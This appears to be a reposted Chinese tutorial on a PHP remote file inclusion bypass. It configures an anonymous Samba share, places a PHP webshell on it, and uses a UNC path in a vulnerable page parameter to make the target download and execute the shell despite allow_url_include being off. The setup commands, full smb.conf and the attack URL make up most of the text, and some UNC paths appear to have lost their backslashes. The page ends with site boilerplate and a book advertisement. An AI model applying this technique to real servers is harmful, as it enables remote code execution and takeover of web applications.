内容简介:在这篇文章中,我分享一下PHP程序中的远程文件包含漏洞,它经常会在文件包含中被利用。尽管PHP环境已经配置了禁止从远程的在PHP配置文件中,默认将
简介
在这篇文章中,我分享一下PHP程序中的远程文件包含漏洞,它经常会在文件包含中被利用。尽管PHP环境已经配置了禁止从远程的 HTTP/FTP URL 包含文件,但我将分享如何绕过远程文件包含的限制。
PHP and SMB 共享文件访问权限
在PHP配置文件中,默认将 allow_url_include 设置为 Off ,来限制PHP去加载远程的HTTP/FTP文件,这也有效的防御了远程文件包含攻击。尽管 PHP 设置了 allow_url_include 和 allow_url_fopen 为 Off ,但是没有阻止下载 SMB URL 。
攻击场景
当存在漏洞的PHP应用程序从攻击者控制的SMB共享机器上下载PHP webshell时,SMB共享机器应该允许其访问该文件。攻击者应该设置SMB服务器可以匿名访问。因此,一旦存在漏洞的应用程序去从SMB共享机器上下载PHP webshell时,SMB服务器不用判断任何身份,存在漏洞的程序就可以包含这个webshell。
让我们开始,首先在PHP的配置文件php.ini中禁止 “allow_url_fopen” 和”allow_url_include”,稍后配置SMB服务器可以匿名访问。一旦SMB共享设置好,就可以实施攻击。
PHP 环境配置
存在漏洞的机器已经设置”allow_url_fopen”和”allow_url_include” 为 Off ,下面的截图显示当前的PHP版本为 5.5.11 。
在此之前,我们要去访问远程的HTTP服务器上的webshell时,确保PHP禁止了远程文件包含。
应用程序显示报错,当我从远程主机上测试包含PHP webshell时,远程文件包含没成功。
配置 SAMBA 服务器为匿名访问
使用以下命令去安装SAMBA服务器。
apt-get install samba
创建SMB 共享目录 (比如我的 /var/www/html/pub/)
mkdir /var/www/html/pub/
配置新创建的SMB共享目录的权限:
chmod 0555 /var/www/html/pub/ chown -R nobody:nogroup /var/www/html/pub/
运行下面的命令来删除SAMBA 服务器的配置文件内容。
echo > /etc/samba/smb.conf
把下面的内容写在 /etc/samba/smb.conf 里面。
[global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ica] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 force user = nobody
重启SAMBA服务器,让配置文件 /etc/samba/smb.conf 生效。
一旦SAMBA 服务器重启成功,尝试去访问SMB共享文件,确认SAMBA 服务器没有设置访问权限。在我的测试中,SAMBA服务器的IP是 192.168.0.3 ,在Windows 文件浏览中去访问SMB共享文件,如下图。
\192.168.0.3
在SMB共享中放置PHP webshell
真棒。SMB共享目录是可以访问的, ica 文件是存在的。
在目录 /var/www/html/pub 中放置php webshell,这是SMB共享指令 ica 目录。
一旦在SMB共享目录中放置了PHP shell,使用windows 文件浏览访问SMB的共享目录 ica .
\192.168.0.3ica
你会看到PHP shell在SMB 共享目录里面。我的是box.php
文件包含攻击
使用存在远程文件包含的PHP应用程序去访问这个SMB共享PHP shell的链接。
http://vulnerable_application/page.php?page=\192.168.0.3icabox.php
可以看到,存在PHP文件包含的应用程序从SMB’共享文件中获取web shell,并在机器上执行。我们已经绕过了限制并包含了托管在远程机器上的webshell。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
网络营销实战密码
昝辉Zac / 电子工业出版社 / 2009.1 / 56.00元
本书是作者几年来网络营销实战的总结,与其他网络营销书籍最大不同之处是:只专注于实战,不谈理论。本书分三部分详细介绍了网络营销实用策略和技巧,并分析了大量实战案例。第一部分介绍市场与产品研究,包括用户、市场和竞争对手的调查;产品、目标市场的确定;价格策略;赢利模式等。第二部分讨论以网络营销为导向的网站设计,包括怎样在网站上卖东西、提高转化率,以及网站目标设定等。第三部分研究怎样给网站带来流量,详细讨......一起来看看 《网络营销实战密码》 这本书的介绍吧!
JSON 在线解析
在线 JSON 格式化工具
html转js在线工具
html转js在线工具